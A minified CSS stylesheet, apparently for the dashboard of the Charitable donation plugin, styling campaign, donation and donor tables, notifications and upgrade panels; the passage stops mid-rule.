.charitable-dashboard-v2-section-content{max-height:0!important;padding-top:0!important;padding-bottom:0!important;opacity:0;overflow:hidden}.charitable-dashboard-v2-section.charitable-dashboard-v2-collapsible.charitable-dashboard-v2-collapsed .charitable-dashboard-v2-toggle .charitable-dashboard-v2-angle-down{transform:rotate(-90deg)}.charitable-dashboard-v2-section:not(.charitable-dashboard-v2-right-column .charitable-dashboard-v2-section){padding:20px}.charitable-dashboard-v2-section:not(.charitable-dashboard-v2-right-column .charitable-dashboard-v2-section) h3{margin:0 0 15px 0;color:#303442;font-size:18px;font-weight:600}.charitable-dashboard-v2-section:not(.charitable-dashboard-v2-right-column .charitable-dashboard-v2-section) p{margin:0;color:#52545f;font-size:14px;line-height:1.5}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns{padding:0!important}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns .charitable-dashboard-v2-section-header{padding:0}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns .charitable-dashboard-v2-section-content{padding:0 0 20px 0!important}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns .charitable-dashboard-v2-empty-state{padding:30px 30px 10px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content{display:flex;justify-content:center;margin-bottom:30px;padding:0 25px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items{width:100%}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item{display:flex;align-items:center;padding:15px 0;border-bottom:1px solid rgba(24,36,69,.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item:first-child{border-top:none;padding-top:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item:last-child{border-bottom:none;padding-bottom:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-icon{width:24px;height:24px;flex-shrink:0;margin-right:15px;display:flex;align-items:center;justify-content:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-title{flex:1}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-title a{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:600;font-style:normal;font-size:14px;line-height:160%;letter-spacing:0;color:rgba(25,29,45,.8);text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-title a:hover{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer{height:70px;background:#fef8f3;margin:20px 0 0 0;display:flex;align-items:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content{display:flex;justify-content:space-between;align-items:center;width:100%;padding:0 30px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link{display:flex;align-items:center;gap:8px;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link .charitable-dashboard-v2-rate-text{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:500;font-size:14px;line-height:16px;letter-spacing:0;text-align:right;vertical-align:middle;color:#2b66d1}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link .charitable-dashboard-v2-arrow-icon{color:#2b66d1;width:16px;height:16px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link:hover .charitable-dashboard-v2-rate-text{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-right .charitable-dashboard-v2-stars{display:flex;gap:3px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-right .charitable-dashboard-v2-stars .charitable-dashboard-v2-star{color:gold;font-size:18px;line-height:1}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:1fr 1fr;gap:1px;background:rgba(24,36,69,.1);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item{background:#fff;padding:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-header{display:flex;align-items:center;gap:10px;margin-bottom:15px}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-header .charitable-dashboard-v2-enhance-grid-icon{width:20px;height:20px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-header .charitable-dashboard-v2-enhance-grid-title{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:700;font-style:normal;font-size:14px;line-height:130%;letter-spacing:0;color:rgba(25,29,45,.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-description{margin:0 0 15px 0;color:#52545f;font-size:14px;line-height:1.5}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button{background:#fff;border:1px solid rgba(14,33,33,.14);border-radius:4px;padding:8px 16px;font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:500;font-style:normal;font-size:13px;line-height:100%;letter-spacing:0;color:rgba(14,33,33,.8);cursor:pointer;transition:all .2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button:hover{background:rgba(14,33,33,.05);border-color:rgba(14,33,33,.2)}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button{background:#eaa251;border-color:#eaa251;color:#fff}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button:hover{background:#d89447;border-color:#d89447}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background{background:#fef8f3;margin:0;padding:20px 25px;border-bottom:1px solid rgba(24,36,69,.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex{display:flex;gap:10px;align-items:flex-start}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-icon{flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-icon .charitable-dashboard-v2-latest-updates-icon-placeholder{width:26px;height:26px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content{flex:1}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-headline{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:600;font-style:normal;font-size:15px;line-height:22px;letter-spacing:0;color:rgba(25,29,45,.9);margin:-4px 0 15px 0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-features{display:flex;flex-wrap:wrap;gap:5px 12px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-features .charitable-dashboard-v2-latest-updates-feature{display:inline-flex;align-items:center;gap:6px;font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:500;font-style:normal;font-size:14px;line-height:160%;letter-spacing:0;color:rgba(25,29,45,.9)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-features .charitable-dashboard-v2-latest-updates-feature .charitable-dashboard-v2-latest-updates-checkmark{width:9px;height:7px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-button{background:#5aa152;border:none;border-radius:4px;padding:10px 20px;font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:700;font-size:13px;line-height:16px;letter-spacing:0;text-align:center;vertical-align:middle;color:#fff;cursor:pointer;transition:all .2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-button:hover{background:#457b3f}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer{height:70px;background:#fff;margin:0;display:flex;align-items:center;border-top:1px solid rgba(24,36,69,.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content{display:flex;justify-content:flex-start;align-items:center;width:100%;padding:0 30px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link{display:flex;align-items:center;gap:8px;text-decoration:none;transition:gap .3s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link .charitable-dashboard-v2-blog-text{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:500;font-size:14px;line-height:16px;letter-spacing:0;text-align:left;vertical-align:middle;color:#2b66d1}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link .charitable-dashboard-v2-arrow-icon{color:#2b66d1;width:16px;height:16px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link:hover{gap:4px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link:hover .charitable-dashboard-v2-blog-text{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts{margin-top:35px;margin-bottom:15px;padding:0 25px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row{display:flex;flex-direction:row;justify-content:space-between;align-items:center;margin-bottom:40px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row:last-child{margin-bottom:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left{width:282px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-timestamp{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:500;font-style:normal;font-size:13px;line-height:150%;letter-spacing:0;color:rgba(25,29,45,.6);margin-bottom:15px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-title{margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-title a{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:600;font-style:normal;font-size:14px;line-height:170%;letter-spacing:-.25px;color:rgba(25,29,45,.9);text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-title a:hover{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-right{display:flex;align-items:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-right .charitable-dashboard-v2-blog-post-image-placeholder{width:106px;height:56px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display{display:flex;gap:10px;align-items:flex-start;margin-bottom:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title{display:flex;align-items:center;gap:10px;font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:600;font-style:normal;font-size:15px;line-height:22px;letter-spacing:0;color:rgba(25,29,45,.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title::before{content:"";width:26px;height:26px;flex-shrink:0;background-image:url("data:image/svg+xml,%3Csvg width='26' height='26' viewBox='0 0 26 26' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Ccircle cx='13' cy='13' r='13' fill='%23f56565'/%3E%3Cpath d='M13 6.5L19.5 17.5H6.5L13 6.5Z' fill='white'/%3E%3Cpath d='M13 10.5V14.5' stroke='%23f56565' stroke-width='2' stroke-linecap='round'/%3E%3Ccircle cx='13' cy='17' r='1' fill='%23f56565'/%3E%3C/svg%3E");background-repeat:no-repeat;background-position:center;background-size:contain}.charitable-dashboard-v2-section.no-update-alert .charitable-dashboard-v2-blog-posts{margin-top:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display{display:flex;gap:10px;align-items:flex-start;margin-bottom:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title{display:flex;align-items:center;gap:10px;font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:600;font-style:normal;font-size:15px;line-height:22px;letter-spacing:0;color:rgba(25,29,45,.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title::before{content:"";width:26px;height:26px;flex-shrink:0;background-image:url("data:image/svg+xml,%3Csvg width='26' height='26' viewBox='0 0 26 26' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Ccircle cx='13' cy='13' r='13' fill='%23f56565'/%3E%3Cpath d='M13 6.5L19.5 17.5H6.5L13 6.5Z' fill='white'/%3E%3Cpath d='M13 10.5V14.5' stroke='%23f56565' stroke-width='2' stroke-linecap='round'/%3E%3Ccircle cx='13' cy='17' r='1' fill='%23f56565'/%3E%3C/svg%3E");background-repeat:no-repeat;background-position:center;background-size:contain}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer{height:70px;background:#fff;margin:0;display:flex;align-items:center;border-top:1px solid rgba(24,36,69,.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content{display:flex;justify-content:flex-start;align-items:center;width:100%;padding:0 30px}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link{display:flex;align-items:center;gap:8px;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link .charitable-dashboard-v2-addons-text{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:500;font-size:14px;line-height:16px;letter-spacing:0;text-align:left;vertical-align:middle;color:#2b66d1}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link .charitable-dashboard-v2-arrow-icon{color:#2b66d1;width:16px;height:16px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link:hover .charitable-dashboard-v2-addons-text{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-title{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:700;font-style:normal;font-size:20px;line-height:33px;letter-spacing:.01em;text-align:center;color:rgba(25,29,45,.8);margin:0;padding-top:10px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features{display:flex;gap:10px 10px;margin:30px 0;justify-content:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-column{flex:1;max-width:300px;display:flex;flex-direction:column;gap:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature{display:flex;align-items:flex-start;gap:12px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-checkmark{width:18px;height:18px;flex-shrink:0;margin-top:2px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-feature-text{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:500;font-size:14px;line-height:150%;letter-spacing:0;color:rgba(25,29,45,.8);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions{display:flex;flex-direction:column;align-items:center;gap:20px;margin-top:30px;padding-bottom:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button{background:#da9021;border:none;border-radius:4px;padding:22px 42px;font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:600;font-size:19px;line-height:100%;letter-spacing:0;color:#fff;cursor:pointer;transition:background-color .2s ease;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button:hover{background:#d89447!important;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:600;font-size:14px;line-height:150%;letter-spacing:0;text-align:center;text-decoration:underline;color:rgba(25,29,45,.5);transition:color .2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link:hover{color:rgba(25,29,45,.7)}.charitable-dashboard-v2-table td:first-child,.charitable-dashboard-v2-table th:first-child{width:205px;padding-left:30px}.charitable-dashboard-v2-table td:nth-child(2),.charitable-dashboard-v2-table th:nth-child(2){width:120px}.charitable-dashboard-v2-table td:nth-child(3),.charitable-dashboard-v2-table th:nth-child(3){width:120px}.charitable-dashboard-v2-table td:nth-child(4),.charitable-dashboard-v2-table th:nth-child(4){width:auto}.charitable-dashboard-v2-table td:nth-child(5),.charitable-dashboard-v2-table th:nth-child(5){width:auto;text-align:center}.campaign-title{display:flex;align-items:center;gap:8px}.campaign-title a{font-family:Inter;font-weight:500;font-style:normal;font-size:15px;line-height:160%;letter-spacing:0;color:#191d2d;text-decoration:none}.campaign-title a:hover{color:#4c7bcf}.charitable-dashboard-v2-table td:nth-child(2),.charitable-dashboard-v2-table td:nth-child(3){font-family:Inter;font-weight:500;font-style:normal;font-size:14px;line-height:100%;letter-spacing:0;color:rgba(25,29,45,.8)}.status-badge{display:inline-block;padding:4px 12px;border-radius:12px;font-family:Inter;font-weight:500;font-size:12px;line-height:130%;color:rgba(25,29,45,.8)}.status-badge.status-active{background:rgba(76,123,207,.1);color:#4c7bcf}.status-badge.status-unsuccessful{background:rgba(234,78,100,.1);color:#ea4e64}.status-badge.status-cancelled{background:rgba(153,153,153,.1);color:#999}.progress-circle{position:relative;display:inline-flex;align-items:center;justify-content:center;width:40px;height:40px;margin:0 auto}.progress-circle svg{position:absolute;top:0;left:0}.progress-text{font-family:Inter;font-weight:600;font-style:normal;font-size:12px;line-height:160%;letter-spacing:0;color:rgba(25,29,45,.8);z-index:1}.charitable-dashboard-v2-notifications{display:block;margin-top:20px;max-width:1172px;margin-left:auto;margin-right:auto;padding:0;position:relative;background:#fff;border:1px solid rgba(24,36,69,.1);border-radius:4px;box-shadow:0 3px 3px rgba(0,0,0,.05)}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar{position:absolute;top:12px;right:12px;display:flex;align-items:center;gap:8px;z-index:1}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation{position:static;top:auto;right:auto;display:flex;align-items:center;gap:2px;min-height:auto;padding:0}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation a{position:static;top:auto;font-size:24px;line-height:1;padding:2px 4px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation .charitable-dashboard-notification-counter{font-size:13px;color:#666;white-space:nowrap;padding:0 2px;line-height:1}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification{position:static;top:auto;right:auto}.charitable-dashboard-v2-notifications .charitable-dashboard-notification{margin:0;border:0;background:#fff;border-radius:0;box-shadow:none}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message{padding:15px 20px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-dashboard-notification-headline{margin:0 0 10px 0;font-size:16px;font-weight:600;color:#1d2327;display:flex;align-items:center;gap:6px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-notification-type-icon{font-size:18px;width:18px;height:18px;line-height:1;flex-shrink:0}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message p{margin:0 0 10px 0;line-height:1.5}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message ul{margin:10px 0;padding-left:20px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message ul li{margin-bottom:5px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-notification-cta-button{display:inline-block;padding:8px 16px;background-color:#5aa152;color:#fff;font-size:13px;font-weight:600;line-height:1.5;text-decoration:none;border-radius:4px;margin-top:5px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-notification-cta-button:hover{background-color:#4a8a44;color:#fff}.charitable-dashboard-v2-notifications .charitable-dashboard-notification[data-notification-type=notice] .charitable-notification-type-icon{color:#00a0d2}.charitable-dashboard-v2-notifications .charitable-dashboard-notification[data-notification-type=warning] .charitable-notification-type-icon{color:#ffb900}.charitable-dashboard-v2-notifications .charitable-dashboard-notification[data-notification-type=error] .charitable-notification-type-icon{color:#dc3232}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-bar{display:flex;justify-content:space-between;align-items:center;padding:10px 15px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification{color:#666;text-decoration:none;font-size:18px;line-height:1}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification:hover{color:#000}.charitable-dashboard-v2-enhance-grid-icon{display:flex;align-items:center;justify-content:center}.charitable-dashboard-v2-table{width:100%;border-collapse:collapse}.charitable-dashboard-v2-table thead th{background:rgba(25,29,45,.02);font-family:Inter;font-weight:500;font-style:normal;font-size:13px;line-height:130%;letter-spacing:0;color:rgba(25,29,45,.5);padding:16px 12px;text-align:left;border-bottom:1px solid rgba(24,36,69,.1)}.charitable-dashboard-v2-table tbody td{padding:16px 12px;border-bottom:1px solid rgba(24,36,69,.05)}.charitable-dashboard-v2-table tbody tr:last-child td{border-bottom:none}.charitable-dashboard-v2-table-donations{margin-top:0}.charitable-dashboard-v2-table-donations th{background-color:#f8fafc;border-bottom:1px solid #e2e8f0;padding:16px 20px;text-align:left;font-family:Inter;font-weight:600;font-size:14px;line-height:140%;color:rgba(25,29,45,.8)}.charitable-dashboard-v2-table-donations th:last-child{text-align:right;padding:16px 35px}.charitable-dashboard-v2-table-donations td:first-child,.charitable-dashboard-v2-table-donations th:first-child{width:calc(100% - 120px)!important}.charitable-dashboard-v2-table-donations td:last-child,.charitable-dashboard-v2-table-donations th:last-child{width:auto!important}.charitable-dashboard-v2-table-donations tr{transition:background-color .2s ease}.charitable-dashboard-v2-table-donations tr:hover{background-color:rgba(248,250,252,.8)}.charitable-dashboard-v2-table tr{transition:background-color .2s ease}.charitable-dashboard-v2-table tr:hover{background-color:rgba(248,250,252,.8)}.charitable-dashboard-v2-table-donations td{padding:20px;border-bottom:1px solid #e2e8f0;vertical-align:top}.charitable-dashboard-v2-table-donations td:last-child{padding-right:30px;text-align:right;vertical-align:middle}.donation-details{display:flex;flex-direction:column;gap:8px}.donation-header{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:auto auto;gap:8px 20px;align-items:start;text-align:left}.donation-name{font-family:Inter;font-weight:500;font-style:normal;font-size:15px;line-height:160%;letter-spacing:0;color:#191d2d}.donation-name a{color:#191d2d;text-decoration:none;transition:color .2s ease;font-size:11px;font-weight:400}.donation-name a:hover{color:#2b66d1;text-decoration:underline}.donation-timestamp{font-weight:200;font-size:11px;margin-top:4px;margin-left:0}.donation-amount{font-family:Inter;font-weight:500;font-style:normal;font-size:14px;line-height:100%;letter-spacing:0;color:rgba(25,29,45,.8)}.donation-method{font-family:Inter;font-weight:500;font-style:normal;font-size:14px;line-height:100%;letter-spacing:0;color:rgba(25,29,45,.8)}.donation-amount strong,.donation-method strong{font-weight:700}.donation-amount strong,.donation-method strong{color:rgba(25,29,45,.8)}.donation-method-stripe{color:#645aff!important}.charitable-dashboard-v2-table-comments{margin-top:0}.charitable-dashboard-v2-table-donors{margin-top:0}.charitable-dashboard-v2-table-donors th{background-color:#f8fafc;border-bottom:1px solid #e2e8f0;padding:16px 20px;text-align:left;font-family:Inter;font-weight:600;font-size:13px;line-height:16px;letter-spacing:0;color:rgba(25,29,45,.8)}.charitable-dashboard-v2-table-donors td{padding:16px 20px;border-bottom:1px 